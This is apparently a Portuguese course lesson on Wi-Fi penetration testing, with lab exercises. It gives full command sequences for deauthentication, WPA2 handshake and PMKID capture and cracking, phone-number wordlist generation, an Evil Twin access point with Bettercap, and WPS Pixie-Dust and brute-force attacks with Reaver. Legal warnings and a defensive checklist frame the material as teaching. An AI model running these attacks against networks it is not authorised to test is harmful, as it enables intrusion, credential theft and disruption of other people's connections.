⚠️ AVISO LEGAL OBRIGATÓRIO: Art. 154-A do Código Penal Brasileiro
“Invadir dispositivo informático alheio, conectado ou não à rede de computadores, mediante violação indevida de mecanismo de segurança e com o fim de obter, adulterar ou destruir dados ou informações sem autorização expressa ou tácita do titular do dispositivo ou instalar vulnerabilidades para obter vantagem ilícita.”
Pena: detenção de 3 meses a 1 ano e multa. Agravada se o crime resultar em prejuízo econômico, acesso a informações sigilosas ou cometido contra autoridades.
Todo comando desta aula deve ser executado exclusivamente na sua própria rede Wi-Fi ou em laboratório controlado com roteador dedicado ao lab. Capturar handshakes, desautenticar dispositivos ou realizar qualquer das técnicas abaixo em rede alheia, mesmo sem invadir o sistema, já configura preparação ao crime. Nunca use em redes de terceiros.
💻 Comandos Básicos de Rede
Linux
ifconfig # Visualiza e configura interfacesiwconfig # Configuração de interfaces wirelessip addr # Visualiza endereços IPiw dev # Lista dispositivos wirelessiw dev wlan0 scan # Escaneia redes próximas sem modo monitor
Windows
ipconfig # Visualiza configurações de redenetsh wlan show interfaces # Visualiza interfaces Wi-Finetsh wlan show profiles # Lista redes salvasnetsh wlan show networks mode=bssid # Mostra redes e BSSIDs visíveis
🛠️ Ferramentas Essenciais
Arsenal para Auditoria Wi-Fi
Ferramenta
Descrição
Aircrack-ng
Suíte completa para auditoria Wi-Fi (mais utilizada no mundo)
Wifite2
Script Python para ataques automatizados (captura, PMKID, WPS)
hcxdumptool
Captura de frames 802.11 e ataque PMKID sem cliente conectado
hcxpcapngtool
Converte capturas .pcapng para formato hashcat (modo 22000)
Bettercap
Framework ofensivo: Evil Twin, captura de credenciais, MITM
Airgeddon
Menu interativo: Evil Twin, WPS, handshake, tudo em um
Kismet
Auditoria passiva e detecção de intrusão (WIDS)
Wash
Escaneia roteadores com WPS ativado
Reaver
Explora vulnerabilidades do WPS (Pixie-Dust + brute-force PIN)
Bully
Implementação melhorada do Reaver, mais estável
Cowpatty
Força bruta offline em capturas WPA/WPA2
Hashcat
Quebra de hashes via GPU (185x mais rápido que aircrack para WPA2)
Pyrit
Quebra de senhas usando GPU (CUDA/OpenCL)
Crunch
Gerador de wordlists customizadas
🔧 Suíte Aircrack-ng
Executar como root
Todos os comandos devem ser executados com privilégios de administrador.
Comandos Principais
Comando
Função
airmon-ng
Gerencia modo monitor (ativa/desativa)
airodump-ng
Captura pacotes e lista redes disponíveis
aireplay-ng
Injeção de pacotes (deauth, fake auth, replay)
aircrack-ng
Quebra de senhas WPA/WPA2 via wordlist
airdecap-ng
Decripta pacotes WEP/WPA/WPA2 capturados
airbase-ng
Cria APs falsos (Evil Twin básico)
Preparação da Interface
# Verificar interfaces wireless disponíveisiw dev# Matar processos que interferem no modo monitorairmon-ng check kill# Ativar modo monitorairmon-ng start wlan0# Interface ficará como wlan0mon (ou wlan0 em chips mais novos)# Verificar se está em modo monitoriwconfig wlan0mon# Deverá aparecer "Mode:Monitor"# Para desativar o modo monitor ao finalairmon-ng stop wlan0mon
Por que "check kill"?
Processos como NetworkManager, wpa_supplicant e dhclient usam a interface wireless em background. Se não forem finalizados, interferem na captura de pacotes e no modo monitor. airmon-ng check kill os encerra temporariamente.
Reconhecimento com airodump-ng
# Escanear todas as redes no arairodump-ng wlan0mon# Escanear apenas a banda 2.4 GHzairodump-ng --band bg wlan0mon# Escanear apenas a banda 5 GHzairodump-ng --band a wlan0mon# Escanear ambas as bandas (2.4 e 5 GHz)airodump-ng --band abg wlan0mon
Lendo a saída do airodump-ng:
Campo
Significado
BSSID
MAC address do ponto de acesso
PWR
Potência do sinal (dBm): mais próximo de 0 = mais forte
Beacons
Quadros beacon enviados pelo AP
#Data
Quadros de dados capturados
CH
Canal de operação
ENC
Tipo de encriptação (WPA2, WPA3, OPN)
CIPHER
Cifra usada (CCMP, TKIP)
AUTH
Autenticação (PSK, MGT, SAE)
ESSID
Nome da rede (SSID)
# Focar em um AP específico (substituir pelos valores reais do SEU roteador)airodump-ng wlan0mon \ --bssid AA:BB:CC:DD:EE:FF \ --channel 6 \ --write captura_handshake
O arquivo será salvo como captura_handshake-01.cap, captura_handshake-01.csv, etc.
O handshake aparece no canto superior direito: WPA handshake: AA:BB:CC:DD:EE:FF
Ataque de Desautenticação (Deauth) com aireplay-ng
O ataque deauth envia quadros 802.11 de desautenticação forjando o endereço MAC do AP, forçando clientes a se reconectarem e gerando o handshake WPA.
# Deauth contínuo (0 = infinito) contra TODOS os clientes do APaireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon# Deauth limitado (5 pacotes) contra um cliente específicoaireplay-ng -0 5 \ -a AA:BB:CC:DD:EE:FF \ -c CC:DD:EE:FF:00:11 \ wlan0mon
Sobre o deauth
O ataque de desautenticação é um DoS temporário: desconecta os dispositivos por alguns segundos até a reconexão. Em 802.11w (PMF, Protected Management Frames), quadros de desautenticação são criptografados e este ataque não funciona. Redes com PMF ativo são resistentes ao deauth simples.
Fluxo Completo: Captura de Handshake WPA2
# Terminal 1: ativar monitor e capturarairmon-ng check killairmon-ng start wlan0airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w captura# Terminal 2: forçar o handshake com deauth (enquanto Terminal 1 captura)aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon# Aguardar "WPA handshake: AA:BB:CC..." aparecer no Terminal 1# Depois de capturado, quebrar a senha:aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt
Performance do aircrack-ng vs hashcat
aircrack-ng usa a CPU: tipicamente 14.000 chaves/segundo em processador moderno.
hashcat usa a GPU: aproximadamente 2.600.000 chaves/segundo em uma RTX 4090, cerca de 185x mais rápido. Para cracking sério, converter o .cap para hashcat:
O ataque PMKID foi descoberto pelo time Hashcat em 2018 e representa uma mudança fundamental: não é necessário que nenhum cliente esteja conectado ao AP, nem aguardar o handshake. O PMKID (Pairwise Master Key Identifier) é derivado da PMK + MAC do AP + MAC do cliente e é transmitido nos quadros EAPOL do AP.
# Colocar interface em modo monitor (hcxdumptool faz isso internamente em alguns casos)airmon-ng check killairmon-ng start wlan0# Capturar PMKID do seu roteador (filtrar pelo BSSID)# Criar arquivo de filtro com o BSSID (sem os dois-pontos, letras minúsculas)echo "aabbccddeeff" > filtro_bssid.txt# Capturar por 60 segundossudo hcxdumptool \ -i wlan0mon \ --filterlist_ap=filtro_bssid.txt \ --filtermode=2 \ -o captura_pmkid.pcapng \ --active_beacon \ --enable_status=15# Converter para formato hashcat (modo 22000, unifica PMKID + handshake)hcxpcapngtool \ -o hash_pmkid.hc22000 \ -E essids.txt \ captura_pmkid.pcapng# Quebrar com hashcathashcat -m 22000 hash_pmkid.hc22000 /usr/share/wordlists/rockyou.txt# Ou com aircrack-ng (mais lento, mas funciona)aircrack-ng -w /usr/share/wordlists/rockyou.txt hash_pmkid.hc22000
Wifite2 é uma reescrita completa do wifite original em Python 3, com melhor arquitetura, suporte a PMKID, WPA3 (modo transição) e interface mais clara. É o “set it and forget it” da auditoria Wi-Fi.
# Uso básico: escanear tudo e atacar interativamentesudo wifite# Somente redes com WPS (Pixie-Dust + PIN)sudo wifite --wps --wps-only# MAC aleatório (anonimiza o adaptador durante o teste)sudo wifite --random-mac# Força mínima de sinal (ignora redes fracas)sudo wifite --power 40# Especificar interface e canalsudo wifite -i wlan0mon -c 6# Atacar só o seu BSSID (teste direcionado)sudo wifite --bssid AA:BB:CC:DD:EE:FF# Monitorar ataques por 1 hora e salvar logsudo wifite --monitor-attacks --monitor-duration 3600 --monitor-log audit_lab.log# Não quebrar: só capturar (economiza tempo no lab)sudo wifite --skip-crack
Wifite vs aircrack-ng manual
Wifite2 chama airmon-ng, airodump-ng, aireplay-ng, hcxdumptool e aircrack-ng por baixo dos panos. Aprender o fluxo manual primeiro é essencial para entender o que acontece quando o wifite “trava” ou falha.
Utilize wifite --help ou man wifite para todas as opções.
# Números de celular (998XXXXXX)crunch 9 9 0123456789 -t 998@@@@@@ -o celulares998.txt# Números de celular (999XXXXXX)crunch 9 9 0123456789 -t 999@@@@@@ -o celulares999.txt# Com DDD 22 (Região Norte-Fluminense)crunch 11 11 0123456789 -t 22998@@@@@@ -o celulares22998.txt# Todos os números de 8 dígitoscrunch 8 8 0123456789 -o numeros8.txt# Juntar arquivoscat celulares*.txt > celulares.txt# Contar entradaswc -l celulares.txt
Por que senhas baseadas em celular?
Estudos de segurança mostram que muitas senhas residenciais de Wi-Fi são números de telefone, datas de aniversário ou CPFs. Um atacante que conhece a cidade da vítima pode gerar um dicionário altamente eficiente com apenas algumas centenas de milhares de entradas, enquanto uma wordlist genérica tem bilhões. Isso ilustra a importância de senhas verdadeiramente aleatórias.
🦊 Bettercap e Evil Twin
Bettercap é um framework ofensivo para redes que unifica sniffing, spoofing, captura de credenciais e criação de APs falsos em uma interface interativa.
# Iniciar bettercap em modo interativosudo bettercap -iface wlan0# Dentro do bettercap, comandos úteis:wifi.recon on # Iniciar reconhecimento Wi-Fiwifi.show # Listar redes e clientes detectadoswifi.deauth AA:BB:CC:DD:EE:FF # Desautenticar um AP (todos os clientes)# Criar AP falso (Evil Twin básico)set wifi.ap.ssid "MinhaRedeLabFake"set wifi.ap.bssid AA:BB:CC:DD:EE:FFwifi.ap on# Capturar handshakeset wifi.handshakes.file /tmp/handshakeswifi.recon on
Evil Twin com Bettercap (Caplet Pronto)
# Usar o caplet pwnagotchi/kraken para Evil Twin automáticosudo bettercap -iface wlan0 -caplet /usr/share/bettercap/caplets/pwnagotchi/net-recon.cap
Evil Twin: o ataque mais perigoso
O Evil Twin cria uma rede com o mesmo SSID do AP legítimo mas com sinal mais forte (ou através de deauth do AP real). Usuários desconectados se reconectam ao AP falso, entregando credenciais em portais captivos ou tráfego não criptografado. Em ambiente de lab: use um roteador dedicado sem conexão com a internet e dispositivos de teste (nunca celulares de colegas). Em rede alheia, é crime tipificado no art. 154-A.
🔓 Ataque WPS
O Wi-Fi Protected Setup (WPS) foi criado para facilitar a conexão de dispositivos usando um PIN de 8 dígitos. A vulnerabilidade é que o roteador valida os 4 primeiros dígitos separadamente dos 4 últimos, reduzindo o espaço de busca de 10^8 (100 milhões) para apenas 10^4 + 10^3 = 11.000 combinações.
O Pixie-Dust explora a fraqueza na geração de números aleatórios do chip do roteador. Em chips vulneráveis, o PIN pode ser descoberto em segundos, sem tentativa e erro.
# Brute-force completo (pode demorar horas se não vulnerável ao Pixie-Dust)sudo reaver -i wlan0mon \ -b AA:BB:CC:DD:EE:FF \ -c 6 \ -vv \ --delay=1 \ --lock-delay=60
WPS Lock
Muitos roteadores modernos bloqueiam o WPS após algumas tentativas falhas (WPS Lock). O flag --lock-delay aguarda antes de tentar novamente. Roteadores com WPS totalmente desabilitado (não apenas “bloqueado”) não são vulneráveis. Defesa principal: desabilitar o WPS completamente nas configurações do roteador.
🐉 Dragonblood: Ataques ao WPA3
WPA3 foi lançado em 2018 e usa o protocolo SAE (Simultaneous Authentication of Equals), também chamado Dragonfly, que substitui o 4-way handshake PSK. Em 2019, pesquisadores (Vanhoef e Ronen) publicaram o conjunto de vulnerabilidades Dragonblood.
Vulnerabilidades Principais
Vulnerabilidade
Descrição
Status 2026
Downgrade para WPA2
Forçar cliente a usar WPA2 em redes com modo transição
Ainda efetivo em redes mistas
Side-channel de temporização
Medir tempo de resposta SAE para inferir grupos ECC
Corrigido nas atualizações de firmware
Side-channel de cache
Inferir bits da senha via acesso ao cache da CPU
Corrigido nas atualizações de firmware
DoS via commit SAE
Flood de commit frames sobrecarrega o AP
Mitigado por rate limiting
Evil Twin SAE
AP falso WPA3 captura commits SAE para offline crack
Efetivo em alguns cenários
Ataque de Downgrade (o mais prático)
Em redes com WPA3 Transition Mode (compatibilidade com WPA2), um atacante pode criar um Evil Twin que anuncia apenas WPA2. Clientes que não suportam WPA3 (ou configurados para aceitar ambos) se conectam via WPA2, expondo o handshake clássico.
# Verificar se a rede usa modo transição (AUTH = SAE+PSK)airodump-ng wlan0mon# Se AUTH mostrar "SAE" apenas = WPA3 puro (resistente)# Se AUTH mostrar "PSK" ou misto = modo transição (vulnerável a downgrade)
WPA3 em 2026
Redes WPA3 puras (SAE only, sem fallback WPA2, com PMF obrigatório) são substancialmente mais seguras. O ponto fraco continua sendo o modo transição mantido por compatibilidade retroativa. A recomendação de segurança para 2026 é: desabilitar o modo de compatibilidade assim que todos os dispositivos suportarem WPA3.
flowchart TD
A([Início: interface wlan0]) --> B[airmon-ng check kill]
B --> C[airmon-ng start wlan0<br/>Interface: wlan0mon]
C --> D[airodump-ng wlan0mon<br/>Reconhecimento: lista todos os APs]
D --> E{Selecionar alvo<br/>BSSID + Canal}
E --> F[airodump-ng --bssid TARGET<br/>-c CANAL -w captura<br/>Aguarda handshake]
F --> G{Há cliente<br/>conectado?}
G -- Sim --> H[aireplay-ng -0 5<br/>Deauth: força reconexão]
G -- Não --> I[hcxdumptool PMKID<br/>Sem cliente necessário]
H --> J{Handshake capturado?<br/>WPA handshake: BSSID}
I --> K[hcxpcapngtool<br/>Converter para hc22000]
J -- Sim --> L[aircrack-ng -w rockyou.txt<br/>captura-01.cap]
J -- Não --> H
K --> M[hashcat -m 22000<br/>hash.hc22000 wordlist]
L --> N{Senha<br/>encontrada?}
M --> N
N -- Sim --> O([Relatório: senha X em Y minutos])
N -- Não --> P[Tentar wordlist maior<br/>ou ataque com regras]
P --> L
Fluxo de Decisão: Qual Ataque Usar?
flowchart TD
A([Auditar meu AP]) --> B{WPS habilitado?}
B -- Sim --> C[Verificar Pixie-Dust<br/>reaver -K 1]
C --> D{PIN encontrado<br/>em segundos?}
D -- Sim --> E([WPS Pixie-Dust bem-sucedido<br/>Desabilitar WPS!])
D -- Não --> F[Brute-force PIN WPS<br/>reaver sem -K 1]
B -- Não --> G{Há clientes<br/>conectados?}
G -- Sim --> H[Capturar handshake WPA2<br/>airodump-ng + aireplay-ng deauth]
G -- Não --> I[Ataque PMKID<br/>hcxdumptool + hcxpcapngtool]
H --> J[Quebrar: aircrack-ng ou hashcat]
I --> J
J --> K{É WPA3 puro?}
K -- Sim --> L[Verificar modo transição<br/>se misto: downgrade + ataque WPA2]
K -- Não --> M([Resultado do pentest])
L --> M
⚔️ Ataques Comuns e Medidas Defensivas
Ataques e Defesas (2026)
Ataque
Descrição
Ferramenta Típica
Medida Defensiva
DoS (Deauth)
Derrubar redes ou clientes forjando frames
aireplay-ng -0
Ativar PMF (802.11w), WIDS
Handshake WPA2
Capturar 4-way handshake e quebrar offline
airodump-ng + aircrack-ng
Senha forte (16+ chars aleatórios)
PMKID
Capturar PMKID do AP sem cliente conectado
hcxdumptool
Senha forte, migrar para WPA3
Ataque WPS
Explorar PIN WPS (Pixie-Dust ou brute-force)
reaver, bully
Desabilitar WPS completamente
Evil Twin
Roteador falso para roubar credenciais ou MITM
bettercap, airgeddon
VPN, certificados, HSTS
Downgrade WPA3
Forçar cliente WPA3 a usar WPA2
hostapd-wpe
WPA3-Only + PMF obrigatório
Dragonblood SAE
Side-channel no handshake Dragonfly
Ferramentas especializadas
Firmware atualizado, WPA3-SAE corrigido
🧪 Atividades Práticas no Próprio Lab
🧪 Atividade 1: Capturar Handshake WPA2 da Sua Própria Rede e Quebrar a Senha
Objetivo: executar o fluxo completo de captura e cracking no roteador do lab (ou seu roteador pessoal em casa), comprovando que a senha atual seria ou não encontrada pela wordlist.
Requisitos: Kali Linux + adaptador Wi-Fi com suporte a modo monitor (Alfa AWUS036ACH, TP-Link TL-WN722N v1 ou similar) + roteador do lab/pessoal + wordlist com a senha real incluída.
Passo 1: preparar o ambiente
# Verificar se o adaptador suporta modo monitoriw list | grep -A 10 "Supported interface modes"# Deve aparecer "monitor"# Matar processos conflitantessudo airmon-ng check kill# Ativar modo monitorsudo airmon-ng start wlan0# Verificar: iwconfig wlan0mon deve mostrar Mode:Monitor
Passo 2: identificar o seu AP
sudo airodump-ng wlan0mon# Anotar: BSSID (MAC do seu roteador) e CH (canal)# Pressionar Ctrl+C quando tiver as informações
Passo 3: capturar o handshake
# Substituir AA:BB:CC:DD:EE:FF pelo BSSID do SEU roteador e 6 pelo canal realsudo airodump-ng wlan0mon \ --bssid AA:BB:CC:DD:EE:FF \ --channel 6 \ --write meu_handshake# Deixar rodando no Terminal 1
Passo 4: forçar o handshake com deauth (Terminal 2)
# Desautenticar todos os clientes do SEU AP (você mesmo vai se reconectar)sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon# Observar no Terminal 1: aparecerá "WPA handshake: AA:BB:CC:DD:EE:FF" no canto superior# Quando aparecer, pressionar Ctrl+C no Terminal 1
Passo 5: verificar o handshake capturado
ls -la meu_handshake*.cap# Verificar se o handshake está válidoaircrack-ng meu_handshake-01.cap# Deve mostrar "1 handshake" na coluna da sua rede
Passo 6: criar wordlist incluindo a senha real e tentar quebrar
# Criar uma wordlist de teste que INCLUI sua senha realecho "senhateste123" > wordlist_lab.txtecho "password123" >> wordlist_lab.txtecho "SUA_SENHA_REAL_AQUI" >> wordlist_lab.txtecho "abc123456" >> wordlist_lab.txt# Quebrar o handshakeaircrack-ng meu_handshake-01.cap -w wordlist_lab.txt# Se a senha for simples, tentar também com rockyou:aircrack-ng meu_handshake-01.cap -w /usr/share/wordlists/rockyou.txt
Prova de conclusão: screenshot da tela do aircrack-ng mostrando KEY FOUND! [ SUA_SENHA ] com o ESSID da sua rede. Anote o tempo total de captura e o tempo de cracking.
Reflexão: se sua senha real foi encontrada, ela precisa ser trocada. Se não foi encontrada na rockyou, a senha tem boa resistência a ataques de dicionário (mas pode ser vulnerável a ataques com regras ou brute-force).
🧪 Atividade 2: Auditoria Automatizada com Wifite2 (Sua Rede)
Objetivo: usar o wifite2 direcionado ao BSSID do seu roteador de lab e observar quais ataques ele tenta automaticamente.
Passo 1: identificar o BSSID do seu roteador
sudo airodump-ng wlan0mon# Anotar BSSID e canal do SEU roteador# Pressionar Ctrl+C
Passo 2: rodar wifite apontando só para o seu BSSID
sudo wifite \ --bssid AA:BB:CC:DD:EE:FF \ --random-mac \ --power 0# --power 0 ignora o filtro de sinal mínimo (garante que ele tente mesmo com sinal fraco)
Observar:
Wifite tentará WPS Pixie-Dust primeiro (se WPS estiver ativo)
Depois tentará captura de handshake WPA2
Depois tentará PMKID
O output mostra claramente o que está acontecendo
Passo 3: aguardar o resultado
# Se capturar handshake, wifite tentará quebrar com a wordlist padrão# Para ver as capturas salvas:ls -la ~/.wifite2/ls -la hs/
Prova de conclusão: screenshot da tela completa do wifite2 mostrando o ESSID da sua rede, os ataques tentados e o resultado final (encontrou handshake/PMKID ou não).
🧪 Atividade 3: Verificar se o Seu Roteador tem WPS Ativado
Objetivo: auditar seu roteador quanto ao WPS e, se ativo, testar o Pixie-Dust.
Passo 1: escanear WPS
sudo wash -i wlan0mon# Saída exemplo:# BSSID Ch dBm WPS Lck Vendor ESSID# AA:BB:CC:DD:EE:FF 6 -45 2.0 No Broadcom MinhaRede# Se "Lck" for "No" e WPS aparecer, o WPS está ativo e desbloqueado# Se "Lck" for "Yes", o roteador bloqueou após tentativas (mas WPS ainda existe)# Se sua rede NÃO aparecer na lista, o WPS está desabilitado (ótimo!)
Passo 2: testar Pixie-Dust (se WPS estiver ativo)
sudo reaver \ -i wlan0mon \ -b AA:BB:CC:DD:EE:FF \ -c 6 \ -K 1 \ -vv# -K 1 = Pixie-Dust offline (rápido, segundos a minutos)# Se o chip for vulnerável, retorna o PIN e a senha WPA em segundos# Se não for vulnerável, retorna "WPS pin not found"
Prova de conclusão: screenshot do resultado do wash (mostrando se o WPS está ativo ou não na sua rede) + resultado do reaver (PIN encontrado ou não). Independente do resultado, desabilite o WPS nas configurações do seu roteador e documente isso na entrega.
🎯 Roteiro de Aula Prática (Checklist)
Passo a Passo no Lab
☐ Conectar placa Wi-Fi na porta USB do computador
☐ Abrir a máquina virtual Kali Linux
☐ Menu: Dispositivos > USB > Atheros (ou o adaptador disponível)
☐ Verificar interface com iw dev (procurar wlan0 ou wlan1)
☐ Executar airmon-ng check kill para matar processos conflitantes
☐ Ativar modo monitor: airmon-ng start wlan0
☐ Confirmar modo monitor: iwconfig wlan0mon
☐ Escanear redes: airodump-ng wlan0mon (identificar o roteador do lab)
Ataque Evil Twin via PNL (Preferred Network List): responde probes com SSID pedido
Beholder
Anti-karma: detecta anomalias e APs falsos em redes Wi-Fi
mdk3/mdk4
Ataques de deautenticação em massa, beacon flooding, SSID fuzzing
Linset/Fluxion
Evil Twin automatizado com portal captivo para captura de senha
Hostapd-wpe
AP falso para captura de credenciais EAP (WPA2-Enterprise)
Wireshark
Análise de pacotes capturados (abrir .cap do airodump-ng)
Hashcat
Quebra de hashes por GPU (modo 22000 para WPA2/PMKID)
🛡️ Defesas: Como Proteger Sua Rede
Checklist de Segurança Wi-Fi (2026)
Medida
Impacto
Como Implementar
Senha forte (20+ chars aleatórios)
Alto: resistência a wordlist/brute-force
Usar gerenciador de senhas para gerar
WPA3-SAE (sem modo transição)
Alto: imune a PMKID e handshake WPA2
Configurações do roteador: Security = WPA3 Only
Desabilitar WPS completamente
Alto: elimina Pixie-Dust e brute-force PIN
Configurações do roteador: desmarcar WPS
PMF (Protected Management Frames, 802.11w)
Médio: impede deauth attack
Configurações: PMF = Required (não só opcional)
Atualizar firmware do roteador
Médio: corrige Dragonblood e outras CVEs
Site do fabricante, atualização regular
Separar rede IoT da principal
Médio: limita pivoting interno
VLAN ou SSID separado para dispositivos smart
WIDS (Wireless Intrusion Detection)
Médio: detecta ataques em andamento
Kismet, roteadores enterprise com WIDS
Desabilitar SSID Broadcast (segurança limitada)
Baixo: apenas obscuridade, não segurança real
Não recomendado como medida principal
WPA3 e PMF em 2026
WPA3 exige PMF (Protected Management Frames) obrigatoriamente, o que elimina o ataque de desautenticação tradicional. Roteadores modernos com WPA3 ativado corretamente e sem modo de compatibilidade WPA2 são resistentes a todos os ataques desta aula. O elo mais fraco volta a ser a força da senha e ataques de engenharia social (Evil Twin com portal captivo).